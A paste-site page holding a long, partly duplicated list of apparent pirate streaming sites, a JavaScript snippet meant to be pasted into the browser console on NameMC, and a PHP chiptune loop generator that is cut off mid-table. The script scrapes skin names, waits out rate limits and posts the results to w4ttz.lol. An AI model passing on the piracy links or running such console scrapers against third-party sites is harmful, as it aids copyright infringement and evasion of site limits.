w4ttz

// {ctrl+c & ctrl+v} :: repo

drag'n'drop stuff here...?

or...

10c8e8
[ txt == code ] 🌍 public streaming media links
gaze up0n 👤 #36cf66916a59 txt
https://lookmovie.uk/
https://pressplay-offcial.cyou/
https://everythingmoe.com/
https://flixhqz.net/
https://putlockerz.gd/home
https://www.movy.sx/
https://popcornmovies.st/
https://bingebox.st/
https://7movies.ac/
https://atlantic.bz/
https://fprime.at/
https://7shows.st/
https://7movies.ws/
https://vivarium.su/
https://flystream.net/
https://shuttletv.pk/
https://ssflix.pro/
https://hydrahd.org/watch-now/
https://cineby.tech/
https://hurawatch.st/
https://fmhy.net/video#dedicated-server
https://www.rivestream.app/
https://rivestream.ru/
https://rivestream.win/
https://watch.corsflix.net/
https://watch.corsflix.dpdns.org/
https://ghostflix.st/
https://redflix.one/
https://redflix.club/
https://meowtv.ru/
https://flickystream.mov/
https://sweetfox.app/
https://www.chillflix.lol/
https://toflix.co/
https://vuflix.co/
https://dulo.mov/
https://beta.way2movies.live/
https://way2movies.live/
https://reelix.ac/
https://movienig.ht/
https://moanatv.lfmx.app/beta
https://hexa.su/
https://flixer.gd/
https://flixer.gd/
https://shuttletv.pk/
https://shuttletv.me/
https://basementx.lol/
https://cinecat.eu/
https://nepu.is/
https://nepu.app/
https://beta.cno.to/
https://cno.to/
https://arc018.stream/
https://www.1shows.org/
https://www.1flex.org/
https://www.1tube.org/
https://zetmoon.live/
https://primeshows.org/
https://netshows.xyz/
https://youshows.org/
https://vkvideo.ru/
https://vknext.net/
https://ok.ru/video/showcase
https://rarefilmm.com/
https://ubu.com/film/
https://primewire.mov/
https://primewire.zip/
https://bstsrs.in/
https://topsrs.day/
https://srstop.link/
https://noxx.gg/
https://k-drama.in/
https://goplay.su/
https://fmhy.net/video#dedicated-server
https://www.rivestream.app/
https://rivestream.ru/
https://rivestream.win/
https://watch.corsflix.net/
https://watch.corsflix.dpdns.org/
https://ghostflix.st/
https://redflix.one/
https://redflix.club/
https://meowtv.ru/
https://flickystream.mov/
https://sweetfox.app/
https://www.chillflix.lol/
https://toflix.co/
https://vuflix.co/
https://dulo.mov/
https://beta.way2movies.live/
https://way2movies.live/
https://reelix.ac/
https://movienig.ht/search
https://moanatv.lfmx.app/beta
https://hexa.su/
https://flixer.gd/backup-domains
https://flixer.gd/
https://flixer.gd/
https://flixer.gd/
https://flixer.gd/
https://shuttletv.pk/
https://cinecat.eu/
https://nepu.is/
https://beta.cno.to/
https://cno.to/
https://arc018.stream/home
https://www.1shows.org/
https://www.1flex.org/
https://www.1tube.org/
https://zetmoon.live/
https://primeshows.org/
https://netshows.xyz/
https://youshows.org/
https://vkvideo.ru/
https://vknext.net/
https://ok.ru/video/showcase
https://rarefilmm.com/
https://ubu.com/film/
https://bstsrs.in/
https://topsrs.day/
https://srstop.link/
https://noxx.gg/
https://k-drama.in/
[ created: Nov 15, 2026 2:06 am ]
[ php == code ] 🌍 public token_test.php
gaze up0n 👤 #11640177dc77 php
<?php echo "hello"; ?>
[ created: Nov 2, 2026 4:22 pm ]
[ javascript == code ] 🌍 public snippet.js
gaze up0n 👤 #36cf66916a59 javascript
1. In your browser on NameMC, open the DevTools Console (F12). 
2. Copy and paste this script and press Enter:
(async function() {
        // summoning 5175 digital ghosts from the meat grinder... hope nobody minds
        console.log("%c[Vault Sync] Fetching 5,175 hashes from w4ttz.lol...", "color:#00ffff;font-weight:bold");

        var hashes = [];
        try {
            var resp = await fetch("https://w4ttz.lol/vault/minecraft/skins/get_hashes.php");
            hashes = await resp.json();
        } catch (e) {
            // the wire snapped... the void swallowed our little list... back to bed
            console.error("Failed to fetch hashes from w4ttz.lol:", e);
            return;
        }

        console.log(`%c[Vault Sync] Successfully loaded ${hashes.length} hashes from vault!`, "color:#00ff00;font-weight:bold");

        // excavating the browser cemetery... looking for past lives
        var mapping = {};
        try {
            mapping = JSON.parse(localStorage.getItem("nmc_skin_names_map") || "{}");
        } catch(e){}

        var delayMs = 500;
        var batchBuffer = {};
        var processed = 0;

        // tossing our freshly stolen skins onto the server altar... hope it stays appeased
        async function syncBatchToServer(batch) {
            try {
                var r = await fetch("https://w4ttz.lol/vault/minecraft/skins/save_names.php", {
                    method: "POST",
                    headers: { "Content-Type": "application/json" },
                    body: JSON.stringify(batch)
                });
                var res = await r.json();
                console.log(`%c[Server Sync] Synced! Catalog updated: ${res.applied_to_catalog}/${hashes.length}`, "color:#a78bfa");
            } catch(err) {
                // cloud said no... tiny bits floating into oblivion
                console.error("Error syncing batch to server:", err);
            }
        }

        console.log(`Starting crawl... (${Object.keys(mapping).length}/${hashes.length} already resolved)`);

        // marching endlessly through thousands of pointless costume changes
        for (var i = 0; i < hashes.length; i++) {
            var hash = hashes[i];
            // already harvested this soul... moving right along
            if (mapping[hash]) continue;

            try {
                var resp = await fetch("/skin/" + hash);
                // the bouncer spotted us... freeze and play dead for ten ticks
                if (resp.status === 429) {
                    console.warn("Rate limited (429)! Pausing for 10 seconds...");
                    await new Promise(r => setTimeout(r, 10000));
                    i--;
                    continue;
                }
                // corpse was empty... slap an anonymous tombstone on it
                if (!resp.ok) {
                    mapping[hash] = "Unnamed";
                    continue;
                }
                var html = await resp.text();
                var titleMatch = html.match(/<title>([^<]+)<\/title>/i);
                // peel away the useless wrapper... keep whatever identity survived
                if (titleMatch) {
                    var cleanName = titleMatch[1].replace(/\s+Minecraft\s+Skin.*$/i, "").trim();
                    mapping[hash] = cleanName || "Unnamed";
                } else {
                    mapping[hash] = "Unnamed";
                }
            } catch (err) {
                // something broke horribly... who cares... nameless it is
                console.error(`Error fetching ${hash}:`, err);
                mapping[hash] = "Unnamed";
            }

            batchBuffer[hash] = mapping[hash];
            processed++;

            // twenty five corpses in the wheelbarrow... time to dump them into storage
            if (Object.keys(batchBuffer).length >= 25) {
                localStorage.setItem("nmc_skin_names_map", JSON.stringify(mapping));
                await syncBatchToServer(batchBuffer);
                batchBuffer = {};
                console.log(`Progress: ${Object.keys(mapping).length}/${hashes.length} skins processed.`);
            }

            // pretend to be a polite human being who breathes
            await new Promise(r => setTimeout(r, delayMs));
        }

        // sweeping up the stray crumbs before closing the crypt
        if (Object.keys(batchBuffer).length > 0) {
            localStorage.setItem("nmc_skin_names_map", JSON.stringify(mapping));
            await syncBatchToServer(batchBuffer);
        }

        console.log("%c[Vault Sync] ALL 5,175 SKINS COMPLETED AND APPLIED TO VAULT!", "color:#00ff00;font-weight:bold;font-size:16px");
    })()
[ created: Nov 2, 2026 2:27 pm ] ( [ updated: Nov 2, 2026 4:22 pm ])
[ php == code ] 🌍 public minecraft_vault_sync.js
gaze up0n 👤 #36cf66916a59 php
<?php
/* ============================================================================
   gen_loops2.php  ::  parameterised 16-bit / 32-bit loop generator (batch 2)
   ----------------------------------------------------------------------------
   gen_loops.php produced the first four loops from one hard-coded recipe:
   C# minor pentatonic, one kick pattern, one 16-bar shape. Everything after
   that would have been the same track at a different tempo, so this version
   makes the musical decisions explicit per track:

       root + scale   which notes are available and where home is
       feel           kick/snare/hat placement (fib, gallop, half, blast, dbeat)
       lead pattern   contour, expressed as scale degrees not fixed pitches
       structure      how many bars, and which bars are intro / a / b
       arp            optional per-step arpeggio (very chiptune)

   Timbres stay the same two families so the batch is sonically coherent:
       16-bit : 12.5/25% pulse lead, triangle bass, hard quantisation
       32-bit : detuned saws through tanh drive and a lowpass

   Usage:  php gen_loops2.php <outdir>
   ========================================================================== */

if (PHP_SAPI !== 'cli') { fwrite(STDERR, "cli only\n"); exit(1); }

$SR = 44100;
$outdir = $argv[1] ?? '.';
if (!is_dir($outdir)) { mkdir($outdir, 0775, true); }

define('TABLE', 2048);

function build_table($shape) {
    $t = [];
    for ($i = 0; $i < TABLE; $i++) {
        $p = $i / TABLE;
        switch ($shape) {
            case 'pulse12':  $t[$i] = ($p < 0.125) ? 1.0 : -1.0; break;
            case 'pulse25':  $t[$i] = ($p < 0.25)  ? 1.0 : -1.0; break;
            case 'pulse50':  $t[$i] = ($p < 0.5)   ? 1.0 : -1.0; break;
            case 'saw':      $t[$i] = 2.0 * $p - 1.0; break;
            case 'tri':      $t[$i] = 4.0 * abs($p - 0.5) - 1.0; break;
            case 'sine':
            default:         $t[$i] = sin(2.0 * M_PI * $p); break;
        }
    }
    return $t;
}

$TABLES = [
    'pulse12' => build_table('pulse12'),
    'pulse25' => build_table('pulse25'),
    'pulse50' => build_table('pulse50'),
    'saw'     => build_table('saw'),
    'tri'     => build_table('tri'),
    'sine'    => build_table('sine'),
];

$RNG = 7717;
function rnd() {
    global $RNG;
    $RNG = ($RNG * 1103515245 + 12345) & 0x7FFFFFFF;
    return ($RNG / 0x7FFFFFFF) * 2.0 - 1.0;
}

function note($start, $dur, $freq, $wave, $amp, $pan, $kind = 'tone', $opts = []) {
    return compact('start', 'dur', 'freq', 'wave', 'amp', 'pan', 'kind', 'opts');
}

function env_val($kind, $u) {
    switch ($kind) {
        case 'pluck':  return exp(-5.5 * $u);
        case 'stab':   return exp(-9.0 * $u);
        case 'bowed':
            if ($u < 0.02) return $u / 0.02;
            if ($u > 0.88) return (1.0 - $u) / 0.12;
            return 1.0;
        case 'sustain':
            if ($u < 0.03) return $u / 0.03;
            if ($u > 0.90) return (1.0 - $u) / 0.10;
            return 0.92;
        case 'kick':   return exp(-16.0 * $u);
        case 'snare':  return exp(-9.0 * $u);
        case 'hat':    return exp(-38.0 * $u);
        case 'pad':
            if ($u < 0.06) return $u / 0.06;
            if ($u > 0.8)  return (1.0 - $u) / 0.2;
            return 1.0;
        default:       return exp(-4.0 * $u);
    }
}

/* Scale definitions as semitone offsets from the track root. */
$SCALES = [
    'minPent'   => [0, 3, 5, 7, 10],
    'majPent'   => [0, 2, 4, 7, 9],
    'naturalMin'=> [0, 2, 3, 5, 7, 8, 10],
    'harmMin'   => [0, 2, 3, 5, 7, 8, 11],
    'phrygian'  => [0, 1, 3, 5, 7, 8, 10],
    'dorian'    => [0, 2, 3, 5, 7, 9, 10],

    /* --- sludge / doom vocabulary (batch 3) ------------------------------- */
    // The b5 is the whole point of the blues scale: it is the "wrong" note that
    // makes a slow riff sound diseased rather than merely sad.
    'blues'     => [0, 3, 5, 6, 7, 10],
    // Locrian is the only mode with both a b2 and a b5. Maximum instability.
    'locrian'   => [0, 1, 3, 5, 6, 8, 10],
    // Phrygian dominant: the b2 plus a major 3rd. Reads as "tomb", not "sad".
    'phrygDom'  => [0, 1, 4, 5, 7, 8, 10],
    // Whole-half diminished. Every chord is a wolf chord; nothing resolves.
    'dim'       => [0, 2, 3, 5, 6, 8, 9, 11],
];

/* Root as an absolute semitone from C. 1 = C#, 4 = E, 9 = A, etc. */
$ROOTS = [ 'C'=>0, 'Cs'=>1, 'D'=>2, 'Ds'=>3, 'E'=>4, 'F'=>5, 'Fs'=>6, 'G'=>7, 'Gs'=>8, 'A'=>9, 'As'=>10, 'B'=>11 ];

/* ---------------------------------------------------------------------------
   Drum feels. Each returns [kick[], snare[], snareLight[], hatStep, hatAccStep]
   over a 16-step bar. Keeping this declarative means a new feel is one line.
   ------------------------------------------------------------------------- */
function feel($name) {
    switch ($name) {
        case 'gallop':   // metal gallop: da-da-dum
            return [ [0,2,3, 6,8,9, 12,14,15], [4,12], [], 2, 4 ];
        case 'half':     // half-time, huge and slow
            return [ [0,8], [8], [], 4, 8 ];
        case 'blast':    // blast-beat feel, relentless
            return [ [0,2,4,6,8,10,12,14], [4,12], [2,6,10,14], 2, 4 ];
        case 'dbeat':    // d-beat / punk drive
            return [ [0,4,8,12], [2,6,10,14], [], 2, 4 ];
        case 'fib':      // Fibonacci spacing (interval 1,2,3,5)
            return [ [0,1,3,6,11], [4,12], [], 2, 4 ];

        /* --- sludge / doom vocabulary ------------------------------------- */
        // Sludge kick lands *late*: the second kick drags behind the beat and
        // skips the expected downbeat entirely. That lag is the whole genre.
        case 'sludge':
            return [ [0,6,10], [8], [], 8, 8 ];
        // Funeral: one kick, one snare, nothing else. No cymbals at all.
        case 'funeral':
            return [ [0], [8], [], 16, 16 ];
        // A gallop played so slowly it stops being a gallop and becomes a lurch.
        case 'doomgallop':
            return [ [0,3,4, 8,11,12], [8], [], 8, 8 ];
        // Stoner stomp: quarters with the "and" kicked too, hats kept sparse.
        case 'stomp':
            return [ [0,3,8,11], [4,12], [], 4, 8 ];
        case 'driving':
        default:
            return [ [0,4,8,12], [4,12], [], 2, 4 ];
    }
}

/* ---------------------------------------------------------------------------
   Post-normalisation.
   ----------------------------------------------------------------------------
   The two timbre families do not land at the same level: 32-bit saws with
   sustain envelopes measured ~6 dB hotter than quantised 16-bit pulses, which
   is audible as a jump whenever the playlist crosses families. Rather than
   hand-tuning a trim per track (which drifts the moment the material changes),
   measure the rendered file and correct it to a common loudness.

   Gain is capped so the result cannot clip: if hitting the RMS target would
   push the peak past the ceiling, the peak ceiling wins.
   ------------------------------------------------------------------------- */
function normalize_wav($path, $targetRmsDb = -15.0, $peakCeilingDb = -1.0) {
    global $SR;

    $fh = fopen($path, 'r+b');
    $raw = fread($fh, filesize($path));
    $dataLen = strlen($raw) - 44;

    // RMS over both channels
    $sum = 0.0;
    $n = 0;
    $peak = 1;
    for ($i = 44; $i < strlen($raw) - 3; $i += 2) {
        $s = unpack('s', substr($raw, $i, 2))[1];
        $sum += $s * $s;
        $a = abs($s);
        if ($a > $peak) $peak = $a;
        $n++;
    }
    if ($n === 0 || $sum === 0.0) { fclose($fh); return 1.0; }

    $rms = sqrt($sum / $n);
    $wantGain = pow(10.0, $targetRmsDb / 20.0) * 32768.0 / $rms;
    $peakCeil = pow(10.0, $peakCeilingDb / 20.0) * 32768.0;
    $maxGain  = $peakCeil / max(1, $peak);
    $gain     = min($wantGain, $maxGain);

    $out = substr($raw, 0, 44);
    for ($i = 44; $i < strlen($raw) - 3; $i += 2) {
        $s = unpack('s', substr($raw, $i, 2))[1];
        $v = (int)round($s * $gain);
        if ($v > 32767) $v = 32767;
        if ($v < -32768) $v = -32768;
        $out .= pack('s', $v);
    }
    rewind($fh);
    fwrite($fh, $out);
    fclose($fh);

    return $gain;
}

/* ---------------------------------------------------------------------------
   Render one track.
   ------------------------------------------------------------------------- */
function render_track($path, $spec) {
    global $SR, $TABLES, $SCALES, $ROOTS;

    $style    = $spec['style'];
    $bpm      = $spec['bpm'];
    $bars     = $spec['bars'];
    $rootSemi = $ROOTS[$spec['root']];
    $scale    = $SCALES[$spec['scale']];
    $nScale   = count($scale);

    $stepDur = (60.0 / $bpm) / 4.0;
    $steps   = $bars * 16;
    $total   = $steps * $stepDur;
    $N       = (int)round($total * $SR);

    $freqOf = function ($scaleIdx, $oct) use ($rootSemi, $scale, $nScale) {
        $i = (($scaleIdx % $nScale) + $nScale) % $nScale;
        $midi = 24 + $rootSemi + $scale[$i] + 12 * $oct;
        return 440.0 * pow(2.0, ($midi - 69) / 12.0);
    };

    list($kickSteps, $snareSteps, $snareLight, $hatStep, $hatAcc) = feel($spec['feel']);

    $notes = [];
    $leadWave  = $style === '16' ? $spec['leadWave'] : 'saw';
    $bassWave  = $style === '16' ? 'tri' : 'saw';

    // Chord root motion, as scale-degree indices. A four-bar cycle by default.
    $prog = $spec['prog'];

    /* --- batch 3: sludge vocabulary --------------------------------------
       swing     delay every odd 8th (16th steps 2/6/10/14). Slow riffs only
                 sound heavy when the second note lags; on-grid is just slow.
       bend      semitones the lead glides DOWN across each note.
       chug      steps (0-15) carrying a palm-muted low hit; the defining
                 texture of the genre and otherwise absent from this engine.
       drone     sustained low root under everything, re-bowed every 2 bars.
       ---------------------------------------------------------------------- */
    $swing    = $spec['swing'] ?? 0.0;
    $bend     = $spec['bend'] ?? 0.0;
    $leadHold = $spec['leadHold'] ?? ($style === '16' ? 0.92 : 0.96);
    $chugMask = $spec['chug'] ?? [];
    $chugOct  = $spec['chugOct'] ?? 1;
    $useDrone = $spec['drone'] ?? false;

    $sw = function ($step) use ($swing, $stepDur) {
        if ($swing <= 0.0) return 0.0;
        return (($step % 4) === 2) ? $swing * 2.0 * $stepDur : 0.0;
    };

    for ($bar = 0; $bar < $bars; $bar++) {
        $barT = $bar * 16 * $stepDur;
        $deg  = $prog[$bar % count($prog)];

        // Section map: intro bars thin out, the last third gets the b-section.
        $inIntro = $bar < ($spec['introBars'] ?? 3);
        $inB      = $bar >= $bars - ($spec['bBars'] ?? 4);

        /* ---- drums ---------------------------------------------------- */
        foreach ($kickSteps as $k) {
            if ($inIntro && $k > 3) continue;
            $notes[] = note($barT + $k * $stepDur + $sw($k), 0.22, 55.0, 'sine', 0.95, -0.12, 'kick');
        }
        foreach ($snareSteps as $s) {
            $notes[] = note($barT + $s * $stepDur + $sw($s), 0.16, 190.0, 'sine', 0.55, 0.08, 'snare');
        }
        foreach ($snareLight as $s) {
            $notes[] = note($barT + $s * $stepDur + $sw($s), 0.11, 190.0, 'sine', 0.26, 0.08, 'snare');
        }
        for ($h = 0; $h < 16; $h += $hatStep) {
            if ($inIntro && $h < 4) continue;
            $amp = ($h % $hatAcc === 0) ? 0.19 : 0.11;
            $notes[] = note($barT + $h * $stepDur + $sw($h), 0.05, 8000.0, 'sine', $amp, 0.32, 'hat');
        }

        /* ---- bass ------------------------------------------------------ */
        // 8th notes on the chord root, with a lift on the b-section offbeats.
        for ($b = 0; $b < 8; $b++) {
            $lift = ($inB && ($b % 2 === 1)) ? 2 : 0;
            $notes[] = note(
                $barT + ($b * 2) * $stepDur + $sw($b * 2),
                $stepDur * ($style === '16' ? 1.7 : 1.9),
                $freqOf($deg + $lift, $spec['bassOct']),
                $bassWave,
                $style === '16' ? 0.34 : 0.30,
                -0.04,
                'tone',
                ['env' => $style === '16' ? 'bowed' : 'sustain']
            );
        }

        /* ---- palm-muted chugs ----------------------------------------- */
        // Short, low, dead-on. Palmed notes have no sustain, so 'stab' is the
        // right envelope: it dies in ~40% of the step.
        foreach ($chugMask as $c) {
            if ($inIntro && $bar < 2) continue;
            $notes[] = note(
                $barT + $c * $stepDur + $sw($c),
                $stepDur * 0.55,
                $freqOf($deg, $chugOct),
                'saw',
                $style === '16' ? 0.20 : 0.17,
                -0.30,
                'tone',
                ['env' => 'stab']
            );
        }

        /* ---- sustained drone ------------------------------------------ */
        // Re-bowed every two bars rather than held flat: a single 60-second
        // note has no movement, whereas a slow swell reads as a bowed string.
        if ($useDrone && ($bar % 2 === 0)) {
            $dd = $spec['droneDeg'] ?? $prog[0];
            $notes[] = note(
                $barT,
                $stepDur * 32,
                $freqOf($dd, $spec['droneOct'] ?? 1),
                'saw',
                0.085,
                0.0,
                'tone',
                ['env' => 'pad', 'detune' => 0.003]
            );
        }

        /* ---- lead ------------------------------------------------------ */
        if (!$inIntro || $bar >= 1) {
            $pattern = $inB ? $spec['leadB'] : $spec['leadA'];
            $pcount  = count($pattern);
            $arp     = $spec['arp'] ?? false;

            for ($i = 0; $i < 16; $i++) {
                if ($style === '16' && !$arp && ($i % 2 === 1)) continue; // 8ths
                if ($style === '16' && $arp && ($i % 4 === 3)) continue;  // breathe

                $raw = $pattern[$i % $pcount];
                $oct = $spec['leadOct'];

                if ($arp) {
                    // Fast arpeggio inside the step: the classic chiptune flourish.
                    $sub = 3;
                    $subDur = ($stepDur * 0.92) / $sub;
                    for ($a = 0; $a < $sub; $a++) {
                        $notes[] = note(
                            $barT + $i * $stepDur + $sw($i) + $a * $subDur,
                            $subDur,
                            $freqOf($deg + $raw + $a, $oct),
                            $leadWave,
                            0.17,
                            0.22,
                            'tone',
                            ['env' => 'stab']
                        );
                    }
                } else {
                    $leadEnv = $spec['leadEnv'] ?? ($leadHold >= 1.3 ? 'sustain' : 'pluck');
                    $notes[] = note(
                        $barT + $i * $stepDur + $sw($i),
                        $stepDur * $leadHold,
                        $freqOf($deg + $raw, $oct),
                        $leadWave,
                        $style === '16' ? 0.20 : 0.17,
                        0.22,
                        'tone',
                        ['env' => $leadEnv, 'detune' => $style === '32' ? 0.004 : 0.0, 'bend' => $bend]
                    );
                    if ($style === '32') {
                        // Second guitar, slightly detuned and panned opposite.
                        $notes[] = note(
                            $barT + $i * $stepDur + $sw($i),
                            $stepDur * $leadHold,
                            $freqOf($deg + $raw, $oct) * 1.004,
                            'saw',
                            0.15,
                            -0.22,
                            'tone',
                            ['env' => $leadEnv, 'bend' => $bend]
                        );
                    }
                }
            }
        }

        /* ---- b-section power chord ------------------------------------- */
        if ($inB && ($bar % 2 === 0)) {
            $rootF = $freqOf($deg, $spec['leadOct'] - 1);
            foreach ([1.0, 1.4983] as $mult) {   // root + fifth
                $notes[] = note($barT, $stepDur * 16,
                    $rootF * $mult, 'saw', 0.10, 0.0, 'tone', ['env' => 'pad']);
            }
        }
    }

    /* ---------------------------------------------------- block rendering */
    $fh = fopen($path, 'wb');
    fwrite($fh, str_repeat("\0", 44));

    $BLOCK = 4096;
    $sawTab = $TABLES['saw'];
    $ncount = count($notes);
    for ($n = 0; $n < $ncount; $n++) {
        $notes[$n]['startS'] = (int)round($notes[$n]['start'] * $SR);
        $notes[$n]['lenS']   = max(1, (int)round($notes[$n]['dur'] * $SR));
        $notes[$n]['endS']   = $notes[$n]['startS'] + $notes[$n]['lenS'];
    }
    usort($notes, function ($a, $b) { return $a['startS'] - $b['startS']; });

    $bytes = 0;
    $drive = $style === '32' ? 2.6 : 1.0;
    // Level normalisation: measured RMS for the two families differs a lot, so
    // each gets its own output trim rather than clipping one and dulling other.
    $trim  = $style === '32' ? 0.41 : 0.72;

    for ($b0 = 0; $b0 < $N; $b0 += $BLOCK) {
        $b1 = min($N, $b0 + $BLOCK);
        $len = $b1 - $b0;
        $bufL = array_fill(0, $len, 0.0);
        $bufR = array_fill(0, $len, 0.0);

        for ($n = 0; $n < $ncount; $n++) {
            $nt = $notes[$n];
            if ($nt['startS'] >= $b1) break;
            if ($nt['endS'] <= $b0) continue;

            $i0 = max($b0, $nt['startS']) - $b0;
            $i1 = min($b1, $nt['endS']) - $b0;
            $durN = $nt['lenS'];
            $freq = $nt['freq'];
            $amp  = $nt['amp'];
            $pan  = $nt['pan'];
            $gl = (1.0 - $pan) * 0.5 + 0.5;
            $gr = (1.0 + $pan) * 0.5 + 0.5;
            $kind = $nt['kind'];
            $envKind = $nt['opts']['env'] ?? 'pluck';
            $detune  = $nt['opts']['detune'] ?? 0.0;
            $tab  = $TABLES[$nt['wave']] ?? $TABLES['sine'];
            $baseS = $nt['startS'];

            for ($i = $i0; $i < $i1; $i++) {
                $abs = $b0 + $i;
                $rel = $abs - $baseS;
                $u = $rel / $durN;

                if ($kind === 'kick') {
                    $f2 = 45.0 + 105.0 * exp(-30.0 * $u);
                    $ph = fmod($rel * $f2 / $SR, 1.0);
                    $v = sin(2.0 * M_PI * $ph) * env_val('kick', $u) * $amp;
                } elseif ($kind === 'snare') {
                    $noise = rnd();
                    $tone = sin(2.0 * M_PI * $freq * $rel / $SR);
                    $v = ($noise * 0.75 + $tone * 0.25) * env_val('snare', $u) * $amp;
                } elseif ($kind === 'hat') {
                    $v = rnd() * env_val('hat', $u) * $amp;
                } else {
                    // A bend is a linear frequency ramp. Its integral is exact
                    // and stateless: f0*t + (f1-f0)*t^2/(2T), which means a note
                    // can be split across blocks without a phase discontinuity.
                    if ($bend != 0.0) {
                        $mult1 = pow(2.0, $bend / 12.0);
                        $ph = fmod($rel * $freq * (1.0 + ($mult1 - 1.0) * $u * 0.5) / $SR, 1.0);
                    } else {
                        $ph = fmod($rel * $freq / $SR, 1.0);
                    }
                    $idx = (int)($ph * TABLE) % TABLE;
                    $v = $tab[$idx] * env_val($envKind, $u) * $amp;
                    if ($detune > 0.0) {
                        if ($bend != 0.0) {
                            $ph2 = fmod($rel * $freq * (1.0 + $detune) * (1.0 + ($mult1 - 1.0) * $u * 0.5) / $SR, 1.0);
                        } else {
                            $ph2 = fmod($rel * $freq * (1.0 + $detune) / $SR, 1.0);
                        }
                        $v += $sawTab[(int)($ph2 * TABLE) % TABLE] * env_val($envKind, $u) * $amp * 0.6;
                    }
                }

                $bufL[$i] += $v * $gl;
                $bufR[$i] += $v * $gr;
            }
        }

        $chunk = '';
        for ($i = 0; $i < $len; $i++) {
            $l = $bufL[$i] * $drive * $trim;
            $r = $bufR[$i] * $drive * $trim;

            if ($style === '32') {
                $l = tanh($l * 1.6);
                $r = tanh($r * 1.6);
            } else {
                // 16-bit: hard quantisation, the way a 4-channel chip would
                $l = round($l * 48.0) / 48.0;
                $r = round($r * 48.0) / 48.0;
            }

            $l = max(-1.0, min(1.0, $l));
            $r = max(-1.0, min(1.0, $r));
            $chunk .= pack('s', (int)round($l * 32000)) . pack('s', (int)round($r * 32000));
        }
        fwrite($fh, $chunk);
        $bytes += strlen($chunk);
    }
    fclose($fh);

    $fh = fopen($path, 'r+b');
    fwrite($fh, 'RIFF'); fwrite($fh, pack('V', 36 + $bytes));
    fwrite($fh, 'WAVE'); fwrite($fh, 'fmt '); fwrite($fh, pack('V', 16));
    fwrite($fh, pack('v', 1)); fwrite($fh, pack('v', 2));
    fwrite($fh, pack('V', $SR)); fwrite($fh, pack('V', $SR * 2 * 2));
    fwrite($fh, pack('v', 4)); fwrite($fh, pack('v', 16));
    fwrite($fh, 'data'); fwrite($fh, pack('V', $bytes));
    fclose($fh);

    return [$N, $bytes];
}

/* ============================================================================
   TRACK TABLE
   ----------------------------------------------------------------------------
   prog[] holds scale-degree offsets for the chord roots, cycling every 4 bars.
   leadA / leadB are scale-degree contours; the loop index walks them.
   ========================================================================== */
$tracks = [

    /* ---------------- 16-bit: chiptune ---------------- */
    '16-bit-04' => [
        'style' => '16', 'bpm' => 168, 'bars' => 16,
        'root' => 'E', 'scale' => 'phrygian',
        'feel' => 'gallop', 'leadWave' => 'pulse25',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => false,
        'introBars' => 2, 'bBars' => 4,
        'prog'  => [0, 1, 0, 3],            // i - bII - i - iv  (phrygian menace)
        'leadA' => [0, 2, 4, 1, 3, 6, 4, 2, 0, 3, 5, 2, 1, 4, 6, 3],
        'leadB' => [6, 4, 2, 0, 2, 4, 6, 4, 2, 0, 4, 6, 4, 2, 0, 2],
    ],

    '16-bit-05' => [
        'style' => '16', 'bpm' => 96, 'bars' => 16,
        'root' => 'A', 'scale' => 'naturalMin',
        'feel' => 'half', 'leadWave' => 'pulse12',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => false,
        'introBars' => 4, 'bBars' => 4,
        'prog'  => [0, 5, 3, 4],            // i - VI - iv - v  (descending gloom)
        'leadA' => [0, 2, 3, 2, 0, -2, 0, 2, 3, 4, 3, 2, 0, -2, 0, 2],
        'leadB' => [5, 4, 3, 2, 3, 4, 5, 4, 3, 2, 0, 2, 3, 4, 3, 2],
    ],

    '16-bit-06' => [
        'style' => '16', 'bpm' => 186, 'bars' => 16,
        'root' => 'Cs', 'scale' => 'minPent',
        'feel' => 'blast', 'leadWave' => 'pulse25',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => true,
        'introBars' => 2, 'bBars' => 4,
        'prog'  => [0, 2, 1, 3],
        'leadA' => [0, 2, 4, 2, 0, 2, 4, 5, 4, 2, 0, 2, 4, 2, 5, 4],
        'leadB' => [5, 4, 2, 0, 2, 4, 5, 4, 2, 0, 2, 4, 5, 4, 2, 0],
    ],

    '16-bit-07' => [
        'style' => '16', 'bpm' => 142, 'bars' => 8,
        'root' => 'D', 'scale' => 'majPent',
        'feel' => 'driving', 'leadWave' => 'pulse25',
        'bassOct' => 1, 'leadOct' => 4, 'arp' => false,
        'introBars' => 1, 'bBars' => 2,
        'prog'  => [0, 3, 4, 0],
        'leadA' => [0, 2, 4, 2, 0, 2, 4, 5, 4, 2, 0, 2, 4, 5, 4, 2],
        'leadB' => [5, 4, 2, 0, 4, 2, 0, 2, 4, 5, 4, 2, 0, 2, 4, 5],
    ],

    /* ---------------- 32-bit: metal / industrial ---------------- */
    '32-bit-04' => [
        'style' => '32', 'bpm' => 74, 'bars' => 16,
        'root' => 'Cs', 'scale' => 'naturalMin',
        'feel' => 'half', 'leadWave' => 'saw',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => false,
        'introBars' => 4, 'bBars' => 4,
        'prog'  => [0, 0, 5, 3],            // i - i - VI - iv  (sludge)
        'leadA' => [0, 0, 3, 0, 2, 0, 3, 5, 4, 3, 0, 0, 2, 3, 0, 0],
        'leadB' => [5, 5, 4, 3, 2, 2, 3, 4, 5, 4, 3, 2, 0, 0, 2, 3],
    ],

    '32-bit-05' => [
        'style' => '32', 'bpm' => 118, 'bars' => 16,
        'root' => 'D', 'scale' => 'dorian',
        'feel' => 'dbeat', 'leadWave' => 'saw',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => false,
        'introBars' => 3, 'bBars' => 4,
        'prog'  => [0, 3, 0, 4],            // i - IV - i - v  (dorian brightness)
        'leadA' => [0, 2, 4, 2, 3, 4, 6, 4, 3, 2, 0, 2, 4, 3, 2, 0],
        'leadB' => [4, 4, 3, 2, 4, 4, 6, 4, 2, 3, 4, 2, 0, 2, 3, 4],
    ],

    '32-bit-06' => [
        'style' => '32', 'bpm' => 196, 'bars' => 16,
        'root' => 'E', 'scale' => 'naturalMin',
        'feel' => 'gallop', 'leadWave' => 'saw',
        'bassOct' => 1, 'leadOct' => 3, 'arp' => false,
        'introBars' => 2, 'bBars' => 4,
        'prog'  => [0, 5, 3, 4],
        'leadA' => [0, 2, 3, 2, 0, 4, 3, 2, 0, 2, 3, 5, 4, 3, 2, 0],
        'leadB' => [5, 4, 3, 2, 0, 2, 3, 4, 5, 6, 5, 4, 3, 2, 3, 4],
    ],

    '32-bit-07' => [
        'style' => '32', 'bpm' => 152, 'bars' => 32,
        'root' => 'Fs', 'scale' => 'harmMin',
